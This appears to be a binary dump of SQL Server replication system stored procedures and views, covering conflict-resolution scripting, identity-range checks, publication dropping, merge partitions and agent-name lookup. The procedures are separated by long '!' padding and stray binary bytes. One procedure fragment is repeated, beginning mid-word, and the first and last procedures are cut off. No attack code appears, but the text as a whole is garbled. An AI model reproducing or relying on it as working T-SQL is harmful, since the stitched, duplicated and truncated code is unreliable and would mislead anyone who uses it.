        insert into #proctext(procedure_text) values( N' 
    select @retcode = @retcode')
    end
    --
    -- set the rowcount and error
    --
    select @cmd = N'
    select @rowcount = @@ROWCOUNT, @error = @@ERROR 
    '
    insert into #proctext(procedure_text) values( @cmd )
    --
    -- set indentity_insert off if subscriber is also using it as identity
    --
    if (@identity_insert = 1 and @identityscriptedasbasedatatypeonsubscriber = 0)
    begin
        select @cmd = N'
    set identity_insert ' + @tablename + ' off'
        insert into #proctext(procedure_text) values( @cmd )
    end
    --
    -- Queued specific
    --
    if (@queued_pub = 1)
    begin
        select @cmd = N'
    if (@execution_mode = @QPubWins)
        rollback tran cftpass'
        insert into #proctext(procedure_text) values( @cmd )
    end
    --
    -- all done 
    -- 
    deallocate #hCColid
    return 0
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`d	<Yn0 8
create procedure sys.sp_tablecollations_90
(
    @object nvarchar(4000)
)
as
    select
        colid               = s_tcv.colid,
        name                = s_tcv.name,
        tds_collation       = s_tcv.tds_collation_90,
        "collation"         = s_tcv.collation_90
    from
        sys.spt_tablecollations_view s_tcv
    where
        s_tcv.object_id = object_id(@object, 'local')
    order by colid
0S 
8create procedure sys.sp_script_insertforcftresolution 
(
	@objid int				-- object id
	,@artid int				-- article id
	,@identity_insert bit		-- enable identity insert
	,@prefix nvarchar(10)=N'@c' -- prefix
	,@suffix nvarchar(10)=NULL  -- suffix
)
as
begin
	declare @cmd nvarchar(4000)
			,@qualname nvarchar(517)
			,@column_string nvarchar(4000)
			,@var_string nvarchar(4000)
			,@colname      sysname
			,@ccoltype     sysname
			,@this_col     int
			,@rc           int
			,@num_col	  int
	declare @worktab  table( c1 int identity NOT NULL, procedure_text nvarchar(4000) collate database_default null)
	declare @worktab2 table( c1 int identity NOT NULL, procedure_text nvarchar(4000) collate database_default null)

	--
	-- initialize
	--
	exec sp_MSget_qualified_name @objid, @qualname OUTPUT
	--
	-- prepare the assignments and column list for 
	-- insert statement  
	--
	select @num_col = 0
	DECLARE hCColid CURSOR LOCAL FAST_FORWARD FOR 
	select column_id from sys.columns where object_id = @objid order by column_id asc

	OPEN hCColid
	FETCH hCColid INTO @this_col
	WHILE (@@fetch_status != -1)
	begin
		exec @rc = sp_MSget_colinfo @objid, @this_col, @artid, 0, @colname output, @ccoltype output
		if @rc = 0  and EXISTS (select name from sys.columns where object_id=@objid and column_id=@this_col and is_computed<>1)
		begin
			if rtrim(@ccoltype) not like N'timestamp' 
			begin
				select @num_col = @num_col + 1
					,@column_string = quotename(@colname)
					,@var_string = @prefix + cast(@this_col as nvarchar(4))
				if (@suffix is not null)
					select @var_string = @var_string + @suffix
				
				if (@num_col > 1)
				begin
					select @column_string = N', ' + @column_string
						,@var_string = N', ' +@var_string 
				end
				insert into @worktab(procedure_text) values( @column_string )				
				insert into @worktab2(procedure_text) values( @var_string )				
			end
		end
		FETCH hCColid INTO @this_col
	end
	CLOSE hCColid
	DEALLOCATE hCColid

	if (@num_col > 0)
	begin
		--
		-- script the explicit identity insert setting
		--
		if (@identity_insert = 1)
		begin
			select @cmd = N'
			set identity_insert ' + @qualname + N' on '
			insert into #proctext(procedure_text) values( @cmd )
		end
		--
		-- script the insert
		--
		select @cmd = N'
			insert into ' + @qualname + N'( '
		insert into #proctext(procedure_text) values( @cmd )
		insert into #proctext(procedure_text) 
			select procedure_text from @worktab order by c1 asc
		select @cmd = N' )
			values ( '
		insert into #proctext(procedure_text) values( @cmd )
		insert into #proctext(procedure_text) 
			select procedure_text from @worktab2 order by c1 asc
		select @cmd = N' )'
		insert into #proctext(procedure_text) values( @cmd )
		--
		-- save the indentity insert error status
		--
		if (@identity_insert = 1)
		begin
			select @cmd = N'
			select @iderror = @@error '
			insert into #proctext(procedure_text) values( @cmd )
		end
		--
		-- script the explicit identity insert resetting
		--
		if (@identity_insert = 1)
		begin
			select @cmd = N'
			set identity_insert ' + @qualname + N' off '
			insert into #proctext(procedure_text) values( @cmd )
		end
	end
	--
	-- all done
	-- 
	return 0
end
0u %8CREATE PROCEDURE sys.sp_MScheck_pub_identity 
(
    @publisher			sysname,
    @publisher_db		sysname,
    @tablename			sysname, 
    @current_max		bigint  = NULL OUTPUT,
    @pub_range			bigint  = NULL OUTPUT,
    @threshold			int  = NULL OUTPUT,
    @range				bigint  = NULL OUTPUT,
    @next_seed			bigint  = NULL OUTPUT,
    @max_identity		bigint = NULL OUTPUT
)
AS
begin
    declare @retcode		int

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

	if @current_max is not NULL
	begin
		select @current_max=current_max from MSrepl_identity_range 
			where tablename=@tablename and LOWER(publisher)=LOWER(@publisher) and publisher_db=@publisher_db
		if @@ERROR<>0	
			return (1)
	end

	if @max_identity is not NULL
	begin
		select @max_identity=max_identity from MSrepl_identity_range 
			where tablename=@tablename and LOWER(publisher)=LOWER(@publisher) and publisher_db=@publisher_db
		if @@ERROR<>0	
			return (1)
	end

	if @pub_range is not NULL
	begin
		select @pub_range=pub_range from MSrepl_identity_range 
			where tablename=@tablename and LOWER(publisher)=LOWER(@publisher) and publisher_db=@publisher_db
		if @@ERROR<>0	
			return (1)
	end

	if @threshold is not NULL
	begin
		select @threshold=threshold from MSrepl_identity_range 
			where tablename=@tablename and LOWER(publisher)=LOWER(@publisher) and publisher_db=@publisher_db
		if @@ERROR<>0	
			return (1)
	end
	if @next_seed is not NULL
	begin
		select @next_seed=next_seed from MSrepl_identity_range 
			where tablename=@tablename and LOWER(publisher)=LOWER(@publisher) and publisher_db=@publisher_db
		if @@ERROR<>0	
			return (1)
	end
	if @range is not NULL
	begin
		select @range=range from MSrepl_identity_range 
			where tablename=@tablename and LOWER(publisher)=LOWER(@publisher) and publisher_db=@publisher_db
		if @@ERROR<>0	
			return (1)
	end

    return (0)
end
nto @worktab2(procedure_text) values( @var_string )				
			end
		end
		FETCH hCColid INTO @this_col
	end
	CLOSE hCColid
	DEALLOCATE hCColid

	if (@num_col > 0)
	begin
		--
		-- script the explicit identity insert setting
		--
		if (@identity_insert = 1)
		begin
			select @cmd = N'
			set identity_insert ' + @qualname + N' on '
			insert into #proctext(procedure_text) values( @cmd )
		end
		--
		-- script the insert
		--
		select @cmd = N'
			insert into ' + @qualname + N'( '
		insert into #proctext(procedure_text) values( @cmd )
		insert into #proctext(procedure_text) 
			select procedure_text from @worktab order by c1 asc
		select @cmd = N' )
			values ( '
		insert into #proctext(procedure_text) values( @cmd )
		insert into #proctext(procedure_text) 
			select procedure_text from @worktab2 order by c1 asc
		select @cmd = N' )'
		insert into #proctext(procedure_text) values( @cmd )
		--
		-- save the indentity insert error status
		--
		if (@identity_insert = 1)
		begin
			select @cmd = N'
			select @iderror = @@error '
			insert into #proctext(procedure_text) values( @cmd )
		end
		--
		-- script the explicit identity insert resetting
		--
		if (@identity_insert = 1)
		begin
			select @cmd = N'
			set identity_insert ' + @qualname + N' off '
			insert into #proctext(procedure_text) values( @cmd )
		end
	end
	--
	-- all done
	-- 
	return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!p
]4,`c
<$Y8K0< D8}9hz$3{0F@ D8.h60&H 8
--
-- Name:    
--          sp_IHdroppublication
--          
-- Description: 
--          HREPL specific logic for sp_droppublication
--  
-- Security: 
--          Internal
--
-- Returns:
--          Success (0) or failure (1)
--      
-- Owner:   
--          <current owner> 

CREATE PROCEDURE sys.sp_IHdroppublication
(
	@publication	sysname,
	@publisher		sysname,
	@publisher_type	sysname,
	@ad_guidname	sysname	OUTPUT,
	@logreaderAgent	bit	OUTPUT
)
AS
BEGIN
	DECLARE @retcode int,
			@pubid   int
    /*
    ** Parameter Check: @publication.
    ** The @publication name must conform to the rules for identifiers.
    */

    IF @publication IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@publication', 'sp_IHdroppublication')
        RETURN (1)
    END

    --
    -- Verify publication exists
    --
	SELECT @pubid = sys.fn_MSrepl_getpubid(@publication, @publisher, @publisher_type)

	IF (@pubid IS NULL)
	BEGIN
		RAISERROR (20026, 11, -1, @publication)
		RETURN (1)
	END

    /*
    ** Parameter Check: @publisher.
    ** The @publication name must conform to the rules for identifiers.
    */

    IF @publisher IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@publisher', 'sp_IHdroppublication')
            RETURN (1)
        END

    EXECUTE @retcode = dbo.sp_validname @publisher
    IF @retcode <> 0
    RETURN (1)

	--
	-- determine if we have a logreader agent
	--
   	IF EXISTS (SELECT * FROM IHpublications  where repl_freq = 0)
		SELECT @logreaderAgent = 0
	ELSE
		SELECT @logreaderAgent = 1

	--
	-- Get guidname before we delete the publication
	--
	SELECT	@ad_guidname = ad_guidname
	FROM	IHpublications
	WHERE	pubid = @pubid

	IF @@ERROR <> 0
		RETURN (1)
	--
	-- delete the publication from the distributor
	--
	DELETE	IHpublications
  	WHERE	pubid = @pubid

    IF @@ERROR <> 0
   	    RETURN (1)
END
0|R@ 8
-- add it
create view sys.dm_pdw_dms_workers as
select
	request_id	collate database_default request_id,
	step_index,
	dms_step_index,
	pdw_node_id,
	distribution_id,
	type	collate database_default type,
	status	collate database_default status,
	bytes_per_sec,
	bytes_processed,
	rows_processed,
	start_time,
	end_time,
	total_elapsed_time,
	cpu_time,
	query_time,
	buffers_available,
	dms_cpid,
	sql_spid,
	error_id	collate database_default error_id,
	source_info	collate database_default source_info,
	destination_info	collate database_default destination_info,
	command	collate database_default command
from sys._dm_pdw_dms_workers
0T 8CREATE VIEW sys.dm_server_registry AS
	SELECT *
	FROM OpenRowset(TABLE DM_SERVER_REGISTRY) 
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<J&Թ0 8create procedure sys.sp_MSscriptinsertconflictfinder 
(
	@publication sysname		-- publication name
	,@article sysname			-- article name
	,@objid int				-- object id
)
as
begin
	declare 
			@rc int
			,@cmd nvarchar(4000)
			,@artid int
			,@pubid int
			,@qualname nvarchar(517)
			,@fhasnonpkuniquekeys int

	--
	-- initialize the vars we will use
	--
	select @pubid = pubid 
	from syspublications 
	where name = @publication
	select @artid = artid
	from sysarticles 
	where name = @article 
		and pubid = @pubid
	exec sp_MSget_qualified_name @objid, @qualname OUTPUT
	--
	--  check if this article has non PK unique keys
	--
	exec @fhasnonpkuniquekeys = sp_repltablehasnonpkuniquekey @tabid = @objid
	--
	-- start scripting
	--
	select @cmd = N'
	
	'+N'--
	'+N'-- --------------------------------------------------------------------
	'+N'-- This is the crux of the proc for conflict resolution 
	'+N'-- This code block is essentially a state machine
	'+N'-- where we ascertain the state of resolution
	'+N'-- The actions of this resolution varies for the policy
	'+N'-- The comments for each state outline the policy
	'+N'-- specific actions 
	'+N'-- --------------------------------------------------------------------
	'+N'--'
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- continue scripting
	--
	select @cmd = N'
	if (@execution_mode in (@QPubWins, @QSubWins))
	begin
		'+N'--
		'+N'-- initialize the conflict case
		'+N'--
		select @cftcase = 0

		if (@rowcount = 0)
		begin
			'+N'--
			'+N'-- we had conflict for this command
			'+N'--
			if (@error in (547, 2601, 2627))
			begin'
	insert into #proctext(procedure_text) values( @cmd )
	select @cmd = N'
				'+N'--
				'+N'-- Conflict due to unique key/constraint
				'+N'--'
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- script row check with PK
	--
	select @cmd = N'
				if exists (select * from ' + @qualname 
	insert into #proctext(procedure_text) values( @cmd )
	exec sp_MSscript_where_clause @objid, @artid, 'new_pk_q', NULL, 0
	insert into #proctext(procedure_text) values( N' )')
	--
	-- continue scripting
	--
	select @cmd = N'
				begin
					'+N'--
					'+N'-- case 21: A row with same PK already exists
					'+N'-- PubWins -----------------------------------------------------------
					'+N'-- generate delete compensating action for row with PK
					'+N'-- generate delete + insert compensating action with values for all unique keys 
					'+N'-- SubWins -----------------------------------------------------------
					'+N'-- delete rows with values of all keys
					'+N'-- insert row with values
					'+N'--
					select @cftcase = 21 
				end'
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- script this block if the article has non PK unique keys
	--
	if (@fhasnonpkuniquekeys = 1)
	begin
		select @cmd = N'
				else
				begin
					'+N'--
					'+N'-- case 22: A row with same nonPK key(s) already exists
					'+N'-- PubWins -----------------------------------------------------------
					'+N'-- generate delete compensating action for row with PK
					'+N'-- generate delete + insert compensating action with values for non PK keys 
					'+N'-- SubWins -----------------------------------------------------------
					'+N'-- delete rows with values of non PK keys
					'+N'-- insert row with values
					'+N'--
					select @cftcase = 22 
				end'
		insert into #proctext(procedure_text) values( @cmd )
	end
	--
	-- continue scripting
	--
	select @cmd = N'
			end
		end
		else if (@execution_mode = @QPubWins)
		begin
			'+N'--
			'+N'-- we had no conflict for this command
			'+N'-- We need to process this block only in the Publisher Wins cases
			'+N'--

			'+N'--
			'+N'-- case 23: No conflict
			'+N'-- PubWins -----------------------------------------------------------
			'+N'-- generate delete compensating action with PK
			'+N'-- 
			select @cftcase = 23
		end	
	end'
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- continue scripting
	--
	select @cmd = N'

	'+N'--
	'+N'-- --------------------------------------------------------------------
	'+N'-- Now the generation phase
	'+N'-- Use the conflict case value to decide what to do
	'+N'-- --------------------------------------------------------------------
	'+N'--'
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- all done
	--
	return 0
end
0Ɣ@ 8create procedure sys.sp_addmergepartition (
        @publication sysname,
        @suser_sname sysname = NULL,
        @host_name sysname = NULL) 
AS
begin
    declare @retcode int
    declare @pubid uniqueidentifier
    declare @partition_id int
    declare @dynamic_filters bit
    
    select @dynamic_filters = 0

    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
        return 1
        
    select @pubid = pubid, @dynamic_filters = dynamic_filters from dbo.sysmergepublications     
                where name = @publication and
                    UPPER(publisher) = UPPER(publishingservername()) and
                    publisher_db = db_name()
    if @pubid is NULL
    begin
        raiserror (20026, 11, -1, @publication)
        return (1)
    end

    -- The given publication must be enabled for dynamic filtering
    if @dynamic_filters <> 1
    begin
        raiserror(20674, 16, -1)
        return (1)
    end
    
    if @suser_sname is NULL or ltrim(rtrim(@suser_sname)) = N''
        select @suser_sname = NULL
    if @host_name is NULL or ltrim(rtrim(@host_name)) = N''
        select @host_name = NULL
        
    exec @retcode = sys.sp_MScheck_dynamic_filtering_information 
                        @pubid = @pubid, 
                        @dynamic_filter_login = @suser_sname,
                        @dynamic_filter_hostname = @host_name
    if @@error <> 0 or @retcode <> 0
    begin
        return 1
    end

    if @suser_sname is not NULL
    begin
        -- Check that the given dynammic filter login is in the PAL
        exec @retcode = sys.sp_check_publication_access
                    @publication = @publication,
                    @given_login = @suser_sname
        if @retcode <> 0 or @@error <> 0
            return 1
    end


    exec @retcode = sys.sp_MSget_subscriber_partition_id 
                        @publication,
                        @partition_id output,
                        NULL,
                        @host_name,
                        @suser_sname
    if @@error <> 0 or @retcode <> 0
    begin
        raiserror(20629, 16, -1)
        return (1)
    end

    select @partition_id
    
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<	JrG02 D8qh0#]3 {8create procedure sys.sp_MSget_agent_names
(
    @publication sysname, 
    @subscriber sysname = NULL, 
    @subscriber_db sysname = NULL,
    @publisher sysname = NULL,
    @publisher_db sysname = NULL
)
as
begin
    set nocount on

    declare @retcode int

    if @publisher is null
    begin
        --
        -- We are at the publisher side
        --
        declare @distributor sysname
        declare @distribdb sysname
        declare @distproc nvarchar(1000), @pubdb sysname
        --
        -- do the publish security check
        --
        exec @retcode = sp_MSreplcheck_publish
        if @retcode <> 0 or @@error <> 0
            return 1
        --
        -- call into the distributor. Get distribution server information 
        -- for remote RPC agent verification.
        --
        select @pubdb = db_name()
        EXEC @retcode = sys.sp_MSrepl_getdistributorinfo @rpcsrvname = @distributor OUTPUT,
            @distribdb = @distribdb OUTPUT
        IF @@error <> 0 OR @retcode <> 0
        BEGIN
            RAISERROR (14071, 16, -1)
            RETURN (1)
        END
        --
        -- Call proc to change the distributor
        --
        select @publisher = publishingservername()
        SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(@distribdb) + 
            '.sys.sp_MSget_agent_names'
        exec @retcode = @distproc 
            @publisher = @publisher,
            @publisher_db = @pubdb,
            @publication = @publication,
            @subscriber = @subscriber,
            @subscriber_db = @subscriber_db
    end
    else
    begin
        --
        -- We are at the distribution db
        --
        declare @publisher_id smallint

        --
        -- Do the security check - should be db_owner()
        --
        if (is_srvrolemember('sysadmin') <> 1  and is_member('db_owner') <> 1)
        begin
            raiserror(21050, 14, -1)
            return (1)
        end
        --
        -- Get the publisher id
        --
        select @publisher_id = srvid from master.dbo.sysservers where UPPER(srvname collate database_default) = UPPER(@publisher) collate database_default
        if @subscriber is null
        -- Returning publication agents if @subscriber is null
        begin
            declare @snapshot_agent sysname, @logreader_agent sysname, @qreader_agent sysname
            
            -- Have to use name in sysjobs table because users may rename
            -- the SQLServerAgent jobs. If users deleted the jobs, DMO scripting will
            -- create new jobs.

            select 
                'snapshot_agent' = (select j.name from MSsnapshot_agents a, msdb.dbo.sysjobs j where
                    publisher_id = @publisher_id and
                    publisher_db = @publisher_db collate database_default and
                    publication = @publication collate database_default and
                    a.job_id = j.job_id and a.dynamic_filter_login = NULL and a.dynamic_filter_hostname = NULL),
                'logreader_agent' = (select j.name from MSlogreader_agents a, msdb.dbo.sysjobs j where
                    publisher_id = @publisher_id and
                    publisher_db = @publisher_db collate database_default and
                    a.job_id = j.job_id),
                'qreader_agent' = (select j.name from MSqreader_agents a, msdb.dbo.sysjobs j where
                    a.job_id = j.job_id)
        end
        else
        begin
            declare @subscriber_id smallint
            select @subscriber_id = srvid from master.dbo.sysservers where UPPER(srvname collate database_default) = UPPER(@subscriber) collate database_default
            declare @publication_type int, @independent_agent bit

            select @publication_type = publication_type, @independent_agent = independent_agent
                from MSpublications where 
                    publisher_id = @publisher_id and
                    publisher_db = @publisher_db and
                    publication = @publication

            if @publication_type = 2
            -- Merge publication, get merge agent name
            begin
                select 'merge_agent' = j.name from dbo.MSmerge_agents a, msdb.dbo.sysjobs j where
                    publisher_id = @publisher_id and
                    publisher_db = @publisher_db collate database_default and
                    publication = @publication collate database_default and
                    subscriber_id = @subscriber_id and
                    subscriber_db = @subscriber_db collate database_default and
                    a.job_id = j.job_id
            end
            else
            begin
                select 'distribution_agent' = j.name from MSdistribution_agents a, msdb.dbo.sysjobs j where
                    publisher_id = @publisher_id and
                    publisher_db = @publisher_db collate database_default and
                    (publication = @publication collate database_default or
                     publication = N'ALL' and @independent_agent = 0) and
                    subscriber_id = @subscriber_id and
                    subscriber_db = @subscriber_db collate database_default and
                    a.job_id = j.job_id
            end
        end
    end -- If @publisher is null
    --
    -- all done
    --
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(<J@1Mvcreate procedure sys.sp_MSscript_update_statement 
(
    @publication sysname,
    @article     sysname, 
    @objid int,
    @queued_pub bit = 0
)
as
BEGIN
    declare @cmd            nvarchar(4000)
            ,@cmd2          nvarchar(4000)
            ,@qualname      nvarchar(517)
            ,@colname       sysname
            ,@typestring    nvarchar(4000)
            ,@spacer        nvarchar(1)
            ,@ccoltype      sysname
            ,@this_col      int
            ,@rc            int
            ,@column        nvarchar(4000)
